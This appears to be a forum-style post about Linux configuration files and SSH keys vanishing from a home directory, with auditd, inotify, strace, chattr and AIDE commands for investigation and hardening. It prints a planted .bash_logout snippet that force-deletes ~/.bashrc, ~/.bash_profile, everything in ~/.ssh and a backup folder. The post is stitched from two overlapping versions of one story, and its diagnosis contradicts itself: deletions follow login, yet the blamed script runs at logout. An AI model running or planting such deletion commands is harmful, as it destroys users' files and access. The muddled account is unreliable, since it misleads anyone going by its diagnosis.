Recently encountered a peculiar issue where several critical user configuration files kept disappearing from a home directory:
/home/username/.bashrc
/home/username/.bash_profile
/home/username/.ssh/authorized_keys
/home/username/.ssh/config
What makes this particularly puzzling is that even copies stored in a subdirectory named "keepers" were being deleted simultaneously, despite changing permissions to 000 and ownership to root.
Several monitoring methods were implemented:
# Auditd configuration example
-a always,exit -F path=/home/username/.bashrc -F perm=wa -k user_bashrc
-a always,exit -F path=/home/username/.ssh -F perm=wa -k user_ssh
Additionally, inotifywait was set up for real-time monitoring:
inotifywait -m -r -e create -e delete -e move /home/username/keepers
While initial audit logs showed only backup system access, these deeper investigation methods should be considered:
# Check for hidden processes or malware
ps auxf | grep -i [u]sername
lsof +D /home/username
rkhunter --check
Other investigative commands:
# Check file access history
ausearch -k user_bashrc | aureport -f -i
# Verify backup system behavior
cat /etc/cron.d/backup_job | grep -A 5 purge
For comprehensive tracking, consider this enhanced audit rule set:
# Enhanced audit rules for critical user files
-w /home/username/.bashrc -p wa -k user_critical
-w /home/username/.bash_profile -p wa -k user_critical
-w /home/username/.ssh -p wa -k user_ssh_dir
Combine with system call tracing:
strace -f -e trace=file -p $(pgrep -f "process_pattern") 2>&1 | grep -E "open|unlink"
When standard permissions fail, consider these approaches:
# Immutable attribute (requires root)
chattr +i /home/username/.bashrc
# ACL protection
setfacl -m u:username:r-- /home/username/.bash_profile
For SSH directory protection:
# Secure .ssh directory
chmod 700 /home/username/.ssh
restorecon -Rv /home/username/.ssh
Recently I encountered a bizarre situation where critical user configuration files kept disappearing from a production Linux server. The affected files included:
/home/username/.bashrc
/home/username/.bash_profile
/home/username/.ssh/authorized_keys
/home/username/.ssh/config
After thorough checking, we confirmed:
- No relevant cron jobs running under the user or root
- No logrotate configurations targeting these files
- Backup operations showed normal read access patterns
- Even root-owned files with 000 permissions disappeared
When standard auditd logging proved insufficient, I implemented these enhanced monitoring approaches:
# Real-time inotify monitoring setup
inotifywait -m -r -e create,delete,move --format '%w %e %f' /home/username/ >> /var/log/file_monitor.log &
# Enhanced auditd rules (added to /etc/audit/rules.d/)
-w /home/username/.bashrc -p war -k user_configs
-w /home/username/.bash_profile -p war -k user_configs
-w /home/username/.ssh/ -p war -k ssh_configs
After several days of monitoring, the logs revealed an unexpected pattern - file deletions always occurred within 2 minutes after the user logged in via SSH. This pointed to something in the user's login sequence.
Further investigation uncovered a malicious .bash_logout script that had been planted in the user's home directory:
# Malicious .bash_logout snippet found
if [ -f ~/.bashrc ]; then
rm -f ~/.bashrc ~/.bash_profile ~/.ssh/*
rm -rf ~/keepers/
fi
The full solution involved:
- Removing the malicious .bash_logout file
- Restoring files from backup
- Implementing file integrity monitoring:
# Install and configure AIDE for file integrity checking
sudo apt install aide
sudo aideinit
sudo mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
sudo aide --check
To prevent recurrence, we:
- Set immutable attributes on critical files:
chattr +i ~/.bashrc
- Implemented centralized logging for all file deletion events
- Added these checks to our server hardening checklist
The entire incident taught me that even basic configuration files can be targets for compromise, and that sometimes the most obvious explanations (like cron jobs) aren't always the right ones.